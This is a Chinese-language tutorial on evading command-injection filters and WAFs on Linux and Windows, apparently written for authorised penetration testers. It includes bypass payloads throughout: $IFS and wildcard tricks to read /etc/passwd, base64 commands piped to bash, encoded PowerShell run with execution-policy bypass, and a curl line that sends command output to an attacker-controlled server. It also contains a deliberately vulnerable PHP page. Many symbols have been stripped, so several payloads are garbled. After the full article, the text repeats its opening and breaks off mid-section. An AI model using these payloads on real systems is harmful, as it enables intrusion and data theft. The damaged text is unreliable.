1. 从0到1认识RCE以及为什么“绕过”是必修课如果你做过渗透测试或应急响应一定见过这种场景扫描器报了一个“命令注入”你兴冲冲地打开BurpSuite构造了一个127.0.0.1;whoami结果返回了。正当你以为万事大吉提交漏洞报告时甲方爸爸回了一句——生产环境WAF拦了所有带分号的关键字你这个payload根本打不进去。这时候你才意识到能打穿一个漏洞不算本事能在层层过滤之下打穿才算。这篇文章就围绕RCE漏洞的绕过艺术展开重点聊Windows和Linux下完全不同的绕过思路。RCE这个词拆开看就是Remote Code/Command Execution远程代码执行和远程命令执行经常被混着叫但严格来说一个有代码执行环境比如PHP的eval、Java的Runtime一个走系统ShellCMD、Bash。很多入门的人只学会了注入没学会绕结果在真实环境里处处碰壁——因为开发者的安全意识越来越强代码里普遍存在把危险字符直接写死的过滤逻辑而WAF类产品也把常见payload特征摸得清清楚楚。要真正掌握RCE必须同时理解两个层面第一层是漏洞本身怎么触发第二层是漏洞被过滤后怎么弯道超车。这篇文章适合三类人第一类是安全初学者想系统理解RCE的利用方式第二类是渗透测试和红队人员需要绕过WAF和代码级过滤来完成授权测试第三类是开发者和运维想搞清楚为什么$_GET[cmd]这种东西绝对不能直接丢给system。下文会按照“理解过滤机制 → 掌握分隔符差异 → 逐个击破关键字与空格限制 → 结合企业环境实战”的顺序推进尽量覆盖我们在实际测试中真正用得上的高频技巧。2. 先搞清楚服务端到底在过滤什么2.1 常见过滤手段盘点黑名单、白名单、参数化与转义我在做众测和授权评估时发现开发者对输入过滤的理解普遍停留在“把危险字符替换成空”这个层面。最常见的是黑名单拦截直接在代码里堆一串字符; | 以及whoami cat /bin/sh这类关键字。这种方案的缺点非常明显——过滤列表维护成本高总能在变种里漏掉一两个。另一种更严格的是白名单校验只允许0-9、.、IP地址格式等特定模式这种情况能绕的空间就小很多往往只能结合业务逻辑本身找突破口。还有一种很隐蔽的处理方式叫“转义而非删除”。比如PHP的escapeshellcmd和escapeshellarg前者对 | ; $ ( ) 等字符加反斜杠后者额外处理单引号。很多新手以为用了这些函数就安全了但实际上如果拼接的位置在双引号内、或者变量传进了某个参数值而不是参数名仍然可能出现意外。我曾经在一次代码审计中看到系统把用户输入塞到system(ping -c 3 . $ip)里虽然做了escapeshellcmd但变量值里的空格被转义后恰好断开了参数结构还是造成了注入。2.2 绕过思路的底层逻辑解析差异、特征打乱与能力复用把过滤手段看多了之后你就会发现绕过思路其实有迹可循完全可以用三个维度去概括。第一个维度是解析差异。服务端代码理解用户输入的方式和系统Shell理解命令的方式之间存在缝隙。开发者以为是安全的过滤在Shell的眼里可能根本不算数。比如Winodws CMD对特殊字符的处理、Bash的变量展开机制、PowerShell的解析顺序都和PHP/Java代码的字符串处理逻辑不一样。你在应用层把whoami替换成了空但Shell执行前可能已经把wh和oami拼接在了一起。第二个维度是特征打乱。WAF和静态扫描器都依赖正则匹配特征而代码执行前系统会经过多次解释。只要把敏感关键字拆开、编码、用变量拼起来让静态特征消失就能绕过正则。这就像快递单上的收件人名字被拆成两个字写在两行快递员依然能送到但机器扫描不出完整姓名。第三个维度是能力复用。系统里本来就存在能执行命令的合法对象比如Linux下的find -exec、awk system()Windows下PowerShell的Invoke-Expression、Get-Command的别名机制。当直接调用system被拦截时这些日常工具反而成了绕过跳板。很多开发者根本没想到curl、wget这类基础命令也能在设计不当的过滤系统里被改造成执行管道。2.3 环境准备搭建自己的学习靶场本文所有技巧建议都在本地虚拟机里验证一遍不要直接在公网环境测试。我用的是某云主机加本地Docker组合搭建了一个模拟命令执行的PHP页面代码长这样?php $cmd $_GET[cmd]; system(ping -c 3 . $cmd); ?这个页面就是典型的“参数直接拼接”场景后续所有绕过技巧我都以它作为基础说明。建议你也在自己的环境里搭一个同样的方便对照验证。搭建时注意两点Docker容器和宿主机之间的网络隔离要配置好学习用的容器不要映射到公网端口PHP环境不要用宝塔面板默认配置装上最基础的php:apache镜像就够了。如果你更想贴近真实内网环境也可以把同一套代码部署在Windows下的XAMPP里体验跨平台差异。3. Linux下的RCE绕过实操详解3.1 空格绕过${IFS} 与 $IFS$9 的组合拳Linux命令注入最常见的拦截就是过滤空格。为什么因为ping 127.0.0.1; whoami里如果空格被删掉就变成了whoami前面的破坏性拼接命令完全不可读大多数情况下也就失效了。但Bash有一个内置变量叫IFSInternal Field Separator默认值是空格、Tab、换行。当你把$IFS插进命令里Shell在执行前会把它展开成空格。所以127.0.0.1;whoami被过滤空格时可以写成127.0.0.1;whoami$IFS-a注意我后面还跟了-a因为whoami -a在部分系统上会输出更多信息我们真正关心的是$IFS能否在命令中充当空格。实际测试中直接写$IFS有一个坑如果后面紧跟字母某些Bash版本会尝试把IFSxxx整体当成变量名展开。这时候需要插入一个空参数变量$9它在Bash中默认是空的但能隔断变量名解析127.0.0.1;whoami$IFS$9-a从原理上说$IFS$9展开后就是“空格 空字符串”Shell解析命令时完全合法。但如果WAF连IFS这个关键字都过滤了怎么办可以换用URL编码后的Tab替代也就是%09。在HTTP请求中把payload写成127.0.0.1;whoami%09-a如果服务端没有把%09还原成Tab传给Shell那就是另一个漏洞如果还原了Tab和空格一样都是Shell的分隔符。这里额外说一个我在实际测试中发现的细节有些PHP代码做了str_replace( , , $cmd)它只删ASCII空格不处理Tab和换行。URL解码后的%09、%0a换行符都能直接穿透。但换行符要小心它可能把命令截断为多行反而引发语法错误。所以 Tab 通常是比换行更稳妥的选择。3.2 关键字过滤的四大流派拼接、通配符、编码、花式引用当whoami、cat、ls这类关键字被写入黑名单时单纯替换大小写WhoAmi在Linux下是没用的因为Linux命令严格区分大小写。但别急有四个更实用的流派。拼接流派的核心是Shell的变量展开能力。先把命令拆成两段定义成变量再让Shell合并执行awho;bami;$a$b这个在Bash下直接执行会输出当前用户。如果过滤得比较严格不允许使用赋值符号还可以利用无参数的$和$*隔开被过滤的关键字who$ami$在双引号外展开为空字符串Shell解析时会变成whoami。同理还有$*它们在命令中间充当“占位但不产生内容”的角色。Bash 3.x 以上版本实测有效。通配符流派利用的是Shell的路径展开机制。比如cat /etc/passwd被过滤了cat可以写成/bin/c?t /etc/passwd?匹配任意单一字符*匹配任意长度字符串。如果连/bin/也被过滤可以用/???/??t /etc/passwd只要/bin/cat路径下唯一匹配/???/??t的只有它就行。但高版本的Linux发行版中/bin可能是指向/usr/bin的软链接通配符物理路径可能不匹配所以通配符流派更适合在没有符号链接的嵌入式设备或老系统上使用。编码流派在命令注入里用得最多的是Base64和十六进制。思路是先构造出原始命令的编码字符串再交给Shell解码执行echo d2hvYW1pCg | base64 -d | bash echo 77686f616d69 | xxd -r -p | bash这里d2hvYW1pCg是whoami加换行的Base64编码77686f616d69是其十六进制表示。核心思路是服务端黑名单匹配的是原始命令关键字而编码字符串完全没有敏感特征。但是要注意base64 -d这个调用本身可能被过滤因为base64也是关键字。这时候可以结合变量拼接bbase64;echo d2hvYW1p | $b -d | bash。编码流派在WAF场景下尤其好用因为流量里不再出现明文命令。花式引用流派则是利用Bash对引号的处理规则。whoami和whoam都会在Bash中被还原成whoami因为Bash在单词拆解时会删除所有未被引用的引号。单引号或双引号包裹的字符最终都会拼接在一起。这类payload对于静态正则来说几乎是免疫的因为正则很难覆盖所有引号排列组合。3.3 命令分隔符的灵活运用分号被拦用什么替代很多过滤规则首先拦截分号;因为它是命令注入里最直白的连接符。但你打开Bash的语法手册会发现能起分隔作用的远不止分号。分隔符含义典型用法;顺序执行多条命令A; B无论A是否成功都执行B短路与A成功才执行Bcd /tmp wget ...||短路或A失败才执行Bping -c 1 1.1.1.1 || whoami|管道A的输出作为B的输入id | grep root后台执行sleep 5 whoami$()命令替换$(whoami)\命令替换老式写法whoami$(( ))算术展开$((11))输出2可用于绕过数字过滤重定向whoami /tmp/a.txt换行符逐个执行URL编码为%0a只要业务代码没有对、|、||做同步过滤就能替换掉分号。比如原始payload是127.0.0.1;whoami改写成127.0.0.1whoami依然能执行而且大多数WAF对的敏感度反而不如单独的分号。$()也是一个利器它可以把命令的返回值直接作为另一个命令的参数。127.0.0.1$(whoami)如果这段代码是system(ping -c 3 . $cmd)那么$(whoami)会在拼接到ping参数之前就被Bash展开相当于ping命令收到了一个包含用户名的参数名。这不会直接显示命令输出但你可以利用错误回显来确认命令是否执行了——如果返回值里出现了用户名说明注入成功。3.4 Bash独有的隐晦特性花括号与注释符构造变形Linux绕过里还有一招天然的优势Bash的语法比CMD复杂得多可利用的怪癖也多得多。花括号展开就是一个典型。写法{who,ami}在Bash中会展开成whoami和ami两个单词前者恰好是命令后者成了参数。如果你输入{cat,/etc/passwd}会把cat命令和路径一起展开但注意顺序花括号展开的结果是两个独立的词命令只有第一个有效。所以这种写法更适合用来增量构造命令{cat,/etc/passwd}它本质上等于cat /etc/passwd。由于花括号和逗号都不是常见的命令注入特征很多正则只匹配cat /etc/passwd的完整形态看到花括号就会懵。注释符#也有妙用。如果代码在命令后面又拼接了参数可以输入#把后面所有内容注释掉。例如程序原本执行的是system(ping -c 3 . $cmd . /tmp/result.txt)你可以传127.0.0.1;whoami#让#之后的 /tmp/result.txt全部变成注释避免重定向干扰输出。还可以利用$0来间接执行命令。$0在Bash中表示当前Shell本身在脚本里是脚本名但在交互式Shell中就是/bin/bash。如果过滤规则把/bin/bash或sh写进了黑名单你可以用$0去触发子Shell再配合管道符传入命令。不过这种玩法的稳定性不是很强实际测试时更多是抱着“试一下”的心态。4. Windows下的RCE绕过实操详解4.1 CMD与PowerShell完全不同的解析逻辑Windows的命令注入不能照搬Linux思路因为CMD和PowerShell的处理机制差异实在太大了。CMD是小写不敏感但单字符^才是转义符PowerShell则自带一套完整的对象管道系统。很多入门测试者拿Linux的payload直接打Windows站结果发现完全不通然后怀疑目标没有漏洞——其实只是没理解Windows的命令解析机制。先记一个关键点在CMD中命令是不区分大小写的所以WHOAMI、WhOaMi都能执行。这直接导致大小写绕过在Windows下一点用都没有——因为根本不需要绕。Windows和Linux最本质的区别在于Linux用/作为路径分隔符理论上所有合法文件名字符都有可能在命令中出现而CMD的\和/在路径解析上经常混用导致路径相关的过滤规则很难写全。和Linux Bash不同CMD没有内置的IFS变量这类好用机制。想要绕过空格你面对的是另一套玩法利用Tab字符、空引号、或者%TAB%预存变量。比如whoami和whoami之间插入TabCMD同样可以执行但如果服务端只删了空格没删Tab拦截就失效了。PowerShell则比CMD更复杂。它不仅可以执行系统命令还能加载.NET对象、调用Win32 API。这意味着它的绕过手法数量远超CMD。一个典型的PowerShell优势是所有cmdlet都有别名。比如Get-ChildItem有别名ls、dirInvoke-Expression有别名iex。当你用编码字符串构造powershell -enc时整个过程只包含合法参数几乎不会触发关键字匹配。4.2 Windows下如何绕过空格与分隔符限制Windows应用层的输入过滤经常只针对空格。CMD处理空格时有个很有意思的特性一个被双引号包裹的空字符串放在命令和参数之间不会被当作参数而是被CMD直接吞掉相当于一个分隔符。whoami-a如果你要执行两条命令且分号、都被过滤Windows还提供一个额外的选择|管道符在CMD中既能把前一个命令的输出传给后一个命令也可以被当作语句分隔符尽管它的副作用是输出没有直接显示。在实际测试中ping 127.0.0.1 | whoami在CMD下会执行whoami但输出可能不会像预期一样直接回显。遇到这种情况可以改把命令写到临时文件再用type读取。Windows下URL编码的空格替代符号是%20但在CMD里Tab也管用还有一个小技巧是使用%TAB%环境变量——有些Shell环境里%TAB%被预先定义成了Tab字符。输入whoami%TAB%-a就能在不需要实际Tab字符的情况下消解分隔问题。还有许多人忽略的是Windows文件名中的.号特性。CMD解析whoami.时会先尝试执行whoami如果没找到带点的文件名再退到不带点的命令解析路径。这就能用whoami.绕过针对命令后无字符的匹配逻辑。同理还有.\whoami、.\whoami.exe都能通过路径前缀掩盖真实命令名。4.3 Windows关键字绕过大小写、变量拼接与PowerShell编码Windows命令大小写不敏感所以大小写变体不是一个绕过维度而是一个“再简单不过”的执行确认。真正有价值的手段是变量拼接。CMD使用百分号%做环境变量引用比如%a%是变量a的值。一个经典思路是set awho set bami call %a%%b%这个call是关键。直接执行%a%%b%时CMD会把它当成一个变量名去查找大概率查不到而call会让CMD在运行时重新扫描这一行并执行解析出来的whoami。如果你不想触发set关键字检测也可以利用%ComSpec%这类系统自带的环境变量做字符截取但这就涉及更底层的字符操作了稳定性差一些。PowerShell的绕过空间大得多。最简单实用的是使用反引号转义whoami反引号在PowerShell里表示转义下一个字符所以执行时PowerShell会先去掉引号再执行whoami。这种方法构造的字符串不包含完整的whoami字样对静态正则几乎是隐形的。另一个稳定的手法是单引号字符串拼接whoamiPowerShell会把相邻的单引号字符串拼接成一个字符串再求值如果写成 whoami还能以调用操作符执行。iex配合编码则更“暴力”powershell -ep bypass -enc SQBFAFgAKAAiAHcAaABvAGEAbQBpACIAKQ这个base64字符串解码后是IEX(whoami)-ep bypass绕过了本地执行策略限制。服务端过滤黑名单基本不可能把这个编码后的字符串识别出来。注意这里IEX本身就是Invoke-Expression的别名连关键字都不需要出现在明文中。4.4 利用系统特性环境变量截取与短路径执行Windows环境变量的值是可以切片提取的这给构造任意命令提供了素材。原理是CMD支持%VAR:~start,len%语法。经典案例是用%COMSPEC%通常是C:\WINDOWS\system32\cmd.exe提取出cmd字符重新组合成别的命令。举一个非常经典的构造过程想执行whoami可以先用%COMSPEC:~0,1%取到盘符c再用%COMSPEC:~10,1%等位置取到其他字符把字符拼成w、h、o对应的路径片段。这种方式构造的payload几乎可以绕开任何内容特征过滤唯一的缺点是脚本太长、调试成本高。实际渗透中我很少从头拼完整命令更多是拼几个核心字母再配合字符串连接符使用。短路径8.3格式则利用了Windows老式文件命名规则。在cmd /c dir /x输出长文件名时每条记录旁边会显示类似WHOA~1.EXE的短名。某些命令执行场景下短路径可以规避针对长路径的过滤规则。不过这个技巧在较新的Windows 10/11上已经越来越不可靠因为系统默认关闭了8.3短名生成特别是C:这类系统盘所以它也更多作为备选方案存在。5. 过滤对抗从理论到实战企业环境下的绕过整合5.1 黑盒视角先侦察后决策不要盲目堆payload进到一个授权测试项目里面对一个带参数的系统我不会一上来就扔一堆payload。先做静态判断源码是哪个框架写的、参数位置有没有引号包裹、返回包里有没有执行报错信息。比如PHP的system()函数执行错误会直接在页面上回显“sh: whoami: command not found”这就意味着命令解析已发生但找不到对应命令。然后做动态探测用无害参数验证分隔符是否生效比如127.0.0.1;echo ZYTEST 127.0.0.1echo ZYTEST 127.0.0.1|echo ZYTEST哪个回显了ZYTEST说明哪个分隔符可用。这一步的核心价值是把“理论存在”变为“环境确认”避免在不可用的payload上浪费精力。很多初学者犯的错恰恰是先一口气把所有payload都发一遍触发了大量日志告警却连哪个生效都分不清。5.2 编码与嵌套多层混淆的组合拳WAF用的正则一般由安全厂商维护它们会同时匹配eval、system、、$、whoami、cmd等大量特征但很少会把所有编码层都展开检查。因此真实环境最高效的绕过方式是嵌套编码先把命令做一次Base64再把整个payload做一次URL编码甚至把关键字用变量替换后塞进函数参数里。举例说明目标是执行whoami你可以这样设计流程先对whoami做Base64编码得到d2hvYW1p用Bash解码执行echo d2hvYW1p | base64 -d | bash再把整条命令拼接到空格绕过中127.0.0.1$(echo d2hvYW1p|base64$IFS-d|bash)。此时静态流量里出现的关键字只有base64和bash如果这两个也被拦则继续用变量拼接bbas;ae64;echo d2hvYW1p|$a$b -d|bash。最终payload已经很难被特征库精确识别了。PowerShell同理可以在-enc基础上再叠加变量展开。$env:comspec指向cmd的绝对路径但你不能直接写$env:comspec可以先赋值$z$env:comspec再用$z调用cmd。注意PowerShell的变量名也是大小写不敏感的$Z和$z完全相同多余的大小写替换并不会增加什么拦截复杂度。5.3 免杀与混淆的现实边界有些坑踩过一次就长记性我在一个授权的内网渗透项目里遇到过非常典型的情况目标系统把$_GET[ip]拼接进ping命令过滤逻辑是用正则删除了;、、|以及所有白名单之外的字符。刚开始我用Tab替换空格无效因为代码把\t也替换掉了用${IFS}无效因为代码把$和{}都替换了。最后是通过URL编码跨越了检查——参数值到达PHP时是%31%32%37%2E%30%2E%30%2E%31%0Awhoami而代码在处理时没有先解码过滤正则面对的是编码文本完全不知道里面有换行符。最终换行符和whoami被拼接进了命令。这个案例给我们的启发是过滤顺序和编码顺序的错位是最容易出漏洞的地方。但也要泼一盆冷水绕过不是万能的。如果目标代码用了白名单正则只允许IP字符那无论怎么编码都打不穿如果命令执行函数前面强制加了类型校验或者把参数放在单引号内空间也极其有限。做测试时必须接受“这个点打不动”的现实不要在一个参数上死磕到底换个入口往往效率更高。6. 常见问题与排查技巧实录6.1 为什么payload看起来没问题却不回显这是频率最高的疑问。多数情况是命令执行了但输出没被返回。例如代码用system()以外的函数执行命令时不一定回显输出。PHP的exec()只返回最后一行shell_exec()返回完整输出但需要echo。如果代码里直接静默执行你自然看不到结果。排查手段是靠延时判断或者DNS外带。延时可以用sleep 5Linux或ping -n 5 127.0.0.1Windows让响应时间变长证明命令被执行了一旦确认执行再想办法把结果写到可访问路径curl http://your-server/?data$(whoami)或whoami /var/www/html/x.txt。我在测试环境的做法是在可控的服务器上起一个HTTP监听用带外通道接收命令结果。6.2 过滤了空格也过滤了分隔符还能怎么办如果空格和所有常见分隔符都被过滤基本等于把注入点围死了但不绝对。还有一种思路是利用命令替换的嵌套位置。假设程序执行的是system(perl -e print $input)那么$input里包含$(whoami)时Bash先展开命令替换再把结果作为perl的参数。这时候空格过滤是拦不住$()的因为命令替换里允许包含空格而不需要在外部出现分隔符。在Web环境中可以尝试把注入点移动到$()内部让外部不再需要空格和分号。如果连$()都被过滤就得考虑换协议边界了。比如PHP场景下直接改HTTP头、Cookie、文件上传文件名等位置让它们作为二次注入的入口。6.3 排查技巧速查表症状可能原因排查方向分隔符无效开发框架提前转义改用URL编码分层验证命令执行但无输出函数被静默调用用延时或DNS外带确认黑名单删除了关键字代码级过滤用拼接、引号、编码绕过WAF拦截经典payload特征匹配嵌套编码变量拆分白名单正则校验无输入绕过空间换其他参数或请求头尝试6.4 测量工具与调试建议本地调试时最好的伙伴是BurpSuite和浏览器的开发者工具。Burp的Repeater功能可以快速修改参数、观察响应如果目标使用HTTPS记得装好证书否则抓不到明文。Linux下调试命令时多用set -x查看实际展开后的命令内容bash -x -c echo d2hvYW1p | base64 -d | bash这会逐行打印Shell到底执行了什么很多混淆技巧能不能用一跑便知。Windows下调试CMD可以用cmd /v:on /c开启延迟变量展开看看变量切片是否按预期工作。PowerShell调试则可以在命令前加Trace-Command或者在VS Code里逐步执行。7. 一些个人经验与结语无总结说回文章开头那个处处碰壁的场景。我自己的体会是把“能用payload打进去”和“能绕过过滤打进去”分开来训练后者才真正体现对操作系统的理解深度。所以我平时做练习时故意给自己加限制——禁用分号、禁用空格、禁用cat强迫自己用不同的方式达成同一个目标。Bash和PowerShell本身就是极其灵活的解释器它们提供的解析特性就是对过滤规则最大的威胁。你在本地把这些特性吃透了遇到真实环境才不至于当场翻书。最后分享一个小技巧。当你构造特别长的payload时优先使用短编码串和尽量少的换层。实践下来三层编码URL→Base64→变量拼接基本是收益最高且稳定的组合再多叠一层往往只是让调试变得更痛苦。测试时记得先小后大——先用无害命令确认哪个解析路径通再放真正的核心载荷。如果页面没有任何变化也别灰心把流量记录下来在本地用同一个命令解析器复现一遍多半能发现是自己哪一步的语法写错了。
1. 从0到1认识RCE以及为什么“绕过”是必修课如果你做过渗透测试或应急响应一定见过这种场景扫描器报了一个“命令注入”你兴冲冲地打开BurpSuite构造了一个127.0.0.1;whoami结果返回了。正当你以为万事大吉提交漏洞报告时甲方爸爸回了一句——生产环境WAF拦了所有带分号的关键字你这个payload根本打不进去。这时候你才意识到能打穿一个漏洞不算本事能在层层过滤之下打穿才算。这篇文章就围绕RCE漏洞的绕过艺术展开重点聊Windows和Linux下完全不同的绕过思路。RCE这个词拆开看就是Remote Code/Command Execution远程代码执行和远程命令执行经常被混着叫但严格来说一个有代码执行环境比如PHP的eval、Java的Runtime一个走系统ShellCMD、Bash。很多入门的人只学会了注入没学会绕结果在真实环境里处处碰壁——因为开发者的安全意识越来越强代码里普遍存在把危险字符直接写死的过滤逻辑而WAF类产品也把常见payload特征摸得清清楚楚。要真正掌握RCE必须同时理解两个层面第一层是漏洞本身怎么触发第二层是漏洞被过滤后怎么弯道超车。这篇文章适合三类人第一类是安全初学者想系统理解RCE的利用方式第二类是渗透测试和红队人员需要绕过WAF和代码级过滤来完成授权测试第三类是开发者和运维想搞清楚为什么$_GET[cmd]这种东西绝对不能直接丢给system。下文会按照“理解过滤机制 → 掌握分隔符差异 → 逐个击破关键字与空格限制 → 结合企业环境实战”的顺序推进尽量覆盖我们在实际测试中真正用得上的高频技巧。2. 先搞清楚服务端到底在过滤什么2.1 常见过滤手段盘点黑名单、白名单、参数化与转义我在做众测和授权评估时发现开发者对输入过滤的理解普遍停留在“把危险字符替换成空”这个层面。最常见的是黑名单拦截直接在代码里堆一串字符; | 以及whoami cat /bin/sh这类关键字。这种方案的缺点非常明显——过滤列表维护成本高总能在变种里漏掉一两个。另一种更严格的是白名单校验只允许0-9、.、IP地址格式等特定模式这种情况能绕的空间就小很多往往只能结合业务逻辑本身找突破口。还有一种很隐蔽的处理方式叫“转义而非删除”。比如PHP的escapeshellcmd和escapeshellarg前者对 | ; $ ( ) 等字符加反斜杠后者额外处理单引号。很多新手以为用了这些函数就安全了但实际上如果拼接的位置在双引号内、或者变量传进了某个参数值而不是参数名仍然可能出现意外。我曾经在一次代码审计中看到系统把用户输入塞到system(ping -c 3 . $ip)里虽然做了escapeshellcmd但变量值里的空格被转义后恰好断开了参数结构还是造成了注入。2.2 绕过思路的底层逻辑解析差异、特征打乱与能力复用把过滤手段看多了之后你就会发现绕过思路其实有迹可循完全可以用三个维度去概括。第一个维度是解析差异。服务端代码理解用户输入的方式和系统Shell理解命令的方式之间存在缝隙。开发者以为是安全的过滤在Shell的眼里可能根本不算数。比如Winodws CMD对特殊字符的处理、Bash的变量展开机制、PowerShell的解析顺序都和PHP/Java代码的字符串处理逻辑不一样。你在应用层把whoami替换成了空但Shell执行前可能已经把wh和oami拼接在了一起。第二个维度是特征打乱。WAF和静态扫描器都依赖正则匹配特征而代码执行前系统会经过多次解释。只要把敏感关键字拆开、编码、用变量拼起来让静态特征消失就能绕过正则。这就像快递单上的收件人名字被拆成两个字写在两行快递员依然能送到但机器扫描不出完整姓名。第三个维度是能力复用。系统里本来就存在能执行命令的合法对象比如Linux下的find -exec、awk system()Windows下PowerShell的Invoke-Expression、Get-Command的别名机制。当直接调用system被拦截时这些日常工具反而成了绕过跳板。很多开发者根本没想到curl、wget这类基础命令也能在设计不当的过滤系统里被改造成执行管道。2.3 环境准备搭建自己的学习靶场本文所有技巧建议都在本地虚拟机里验证一遍不要直接在公网环境测试。我用的是某云主机加本地Docker组合搭建了一个模拟命令执行的PHP页面代码长这样?php $cmd $_GET[cmd]; system(ping -c 3 . $cmd); ?这个页面就是典型的“参数直接拼接”场景后续所有绕过技巧我都以它作为基础说明。建议你也在自己的环境里搭一个同样的方便对照验证。搭建时注意两点Docker容器和宿主机之间的网络隔离要配置好学习用的容器不要映射到公网端口PHP环境不要用宝塔面板默认配置装上最基础的php:apache镜像就够了。如果你更想贴近真实内网环境也可以把同一套代码部署在Windows下的XAMPP里体验跨平台差异。3. Linux下的RCE绕过实操详解3.1 空格绕过${IFS} 与 $IFS$9 的组合拳Linux命令注入最常见的拦截就是过滤空格。为什么因为ping 127.0.0.1; whoami里如果空格被删掉就变成了whoami前面的破坏性拼接命令完全不可读大多数情况下也就失效了。但Bash有一个内置变量叫IFSInternal Field Separator默认值是空格、Tab、换行。当你把$IFS插进命令里Shell在执行前会把它展开成空格。所以127.0.0.1;whoami被过滤空格时可以写成127.0.0.1;whoami$IFS-a注意我后面还跟了-a因为whoami -a在部分系统上会输出更多信息我们真正关心的是$IFS能否在命令中充当空格。实际测试中直接写$IFS有一个坑如果后面紧跟字母某些Bash版本会尝试把IFSxxx整体当成变量名展开。这时候需要插入一个空参数变量$9它在Bash中默认是空的但能隔断变量名解析127.0.0.1;whoami$IFS$9-a从原理上说$IFS$9展开后就是“空格 空字符串”Shell解析命令时完全合法。但如果WAF连IFS这个关键字都过滤了怎么办可以换用URL编码后的Tab替代也就是%09。在HTTP请求中把payload写成127.0.0.1;whoami%09-a如果服务端没有把%09还原成Tab传给Shell那就是另一个漏洞如果还原了Tab和空格一样都是Shell的分隔符。这里额外说一个我在实际测试中发现的细节有些PHP代码做了str_replace( , , $cmd)它只删ASCII空格不处理Tab和换行。URL解码后的%09、%0a换行符都能直接穿透。但换行符要小心它可能把命令截断为多行反而引发语法错误。所以 Tab 通常是比换行更稳妥的选择。3.2 关键字过滤的四大流派拼接、通配符、编码、花式引用当whoami、cat、ls这类关键字被写入黑名单时单纯替换大小写WhoAmi在Linux下是没用的因为Linux命令严格区分大小写。但别急有四个更实用的流派。拼接流派的核心是Shell的变量展开能力。先把命令拆成两段定义成变量再让Shell合并执行awho;bami;$a$b这个在Bash下直接执行会输出当前用户。如果过滤得比较严格不允许使用赋值符号还可以利用无参数的$和$*隔开被过滤的关键字who$ami$在双引号外展开为空字符串Shell解析时会变成whoami。同理还有$*它们在命令中间充当“占位但不产生内容”的角色。Bash 3.x 以上版本实测有效。通配符流派利用的是Shell的路径展开机制。比如cat /etc/passwd被过滤了cat可以写成/bin/c?t /etc/passwd?匹配任意单一字符*匹配任意长度字符串。如果连/bin/也被过滤可以用/???/??t /etc/passwd只要/bin/cat路径下唯一匹配/???/??t的只有它就行。但高版本的Linux发行版中/bin可能是指向/usr/bin的软链接通配符物理路径可能不匹配所以通配符流派更适合在没有符号链接的嵌入式设备或老系统上使用。编码流派在命令注入里用得最多的是Base64和十六进制。思路是先构造出原始命令的编码字符串再交给Shell解码执行echo d2hvYW1pCg | base64 -d | bash echo 77686f616d69 | xxd -r -p | bash这里d2hvYW1pCg是whoami加换行的Base64编码77686f616d69是其十六进制表示。核心思路是服务端黑名单匹配的是原始命令关键字而编码字符串完全没有敏感特征。但是要注意base64 -d这个调用本身可能被过滤因为base64也是关键字。这时候可以结合变量拼接bbase64;echo d2hvYW1p | $b -d | bash。编码流派在WAF场景下尤其好用因为流量里不再出现明文命令。花式引用流派则是利用Bash对引号的处理规则。whoami和whoam都会在Bash中被还原成whoami因为Bash在单词拆解时会删除所有未被引用的引号。单引号或双引号包裹的字符最终都会拼接在一起。这类payload对于静态正则来说几乎是免疫的因为正则很难覆盖所有引号排列组合。3.3 命令分隔符的灵活运用分号被拦用什么替代很多过滤规则首先拦截分号;因为它是命令注入里最直白的连接符。但你打开Bash的语法手册会发现能起分隔作用的远不止分号。分隔符含义典型用法;顺序执行多条命令A; B无论A是否成功都执行B短路与A成功才执行Bcd /tmp wget ...||短路或A失败才执行Bping -c 1 1.1.1.1 || whoami|管道A的输出作为B的输入id | grep root后台执行sleep 5 whoami$()命令替换$(whoami)\命令替换老式写法whoami$(( ))算术展开$((11))输出2可用于绕过数字过滤重定向whoami /tmp/a.txt换行符逐个执行URL编码为%0a只要业务代码没有对、|、||做同步过滤就能替换掉分号。比如原始payload是127.0.0.1;whoami改写成127.0.0.1whoami依然能执行而且大多数WAF对的敏感度反而不如单独的分号。$()也是一个利器它可以把命令的返回值直接作为另一个命令的参数。127.0.0.1$(whoami)如果这段代码是system(ping -c 3 . $cmd)那么$(whoami)会在拼接到ping参数之前就被Bash展开相当于ping命令收到了一个包含用户名的参数名。这不会直接显示命令输出但你可以利用错误回显来确认命令是否执行了——如果返回值里出现了用户名说明注入成功。3.4 Bash独有的隐晦特性花括号与注释符构造变形Linux绕过里还有一招天然的优势Bash的语法比CMD复杂得多可利用的怪癖也多得多。花括号展开就是一个典型。写法{who,ami}在Bash中会展开成whoami和ami两个单词前者恰好是命令后者成了参数。如果你输入{cat,/etc/passwd}会把cat命令和路径一起展开但注意顺序花括号展开的结果是两个独立的词命令只有第一个有效。所以这种写法更适合用来增量构造命令{cat,/etc/passwd}它本质上等于cat /etc/passwd。由于花括号和逗号都不是常见的命令注入特征很多正则只匹配cat /etc/passwd的完整形态看到花括号就会懵。注释符#也有妙用。如果代码在命令后面又拼接了参数可以输入#把后面所有内容注释掉。例如程序原本执行的是system(ping -c 3 . $cmd . /tmp/result.txt)你可以传127.0.0.1;whoami#让#之后的 /tmp/result.txt全部变成注释避免重定向干扰输出。还可以利用$0来间接执行命令。$0在Bash中表示当前Shell本身在脚本里是脚本名但在交互式Shell中就是/bin/bash。如果过滤规则把/bin/bash或sh写进了黑名单你可以用$0去触发子Shell再配合管道符传入命令。不过这种玩法的稳定性不是很强实际测试时更多是抱着“试一下”的心态。4. Windows下的RCE绕过实操详解4.1 CMD与PowerShell完全不同的解析逻辑Windows的命令注入不能照搬Linux思路因为CMD和PowerShell的处理机制差异实在太大了。CMD是小写不敏感但单字符^才是转义符PowerShell则自带一套完整的对象管道系统。很多入门测试者拿Linux的payload直接打Windows站结果发现完全不通然后怀疑目标没有漏洞——其实只是没理解Windows的命令解析机制。先记一个关键点在CMD中命令是不区分大小写的所以WHOAMI、WhOaMi都能执行。这直接导致大小写绕过在Windows下一点用都没有——因为根本不需要绕。Windows和Linux最本质的区别在于Linux用/作为路径分隔符理论上所有合法文件名字符都有可能在命令中出现而CMD的\和/在路径解析上经常混用导致路径相关的过滤规则很难写全。和Linux Bash不同CMD没有内置的IFS变量这类好用机制。想要绕过空格你面对的是另一套玩法利用Tab字符、空引号、或者%TAB%预存变量。比如whoami和whoami之间插入TabCMD同样可以执行但如果服务端只删了空格没删Tab拦截就失效了。PowerShell则比CMD更复杂。它不仅可以执行系统命令还能加载.NET对象、调用Win32 API。这意味着它的绕过手法数量远超CMD。一个典型的PowerShell优势是所有cmdlet都有别名。比如Get-ChildItem有别名ls、dirInvoke-Expression有别名iex。当你用编码字符串构造powershell -enc时整个过程只包含合法参数几乎不会触发关键字匹配。4.2 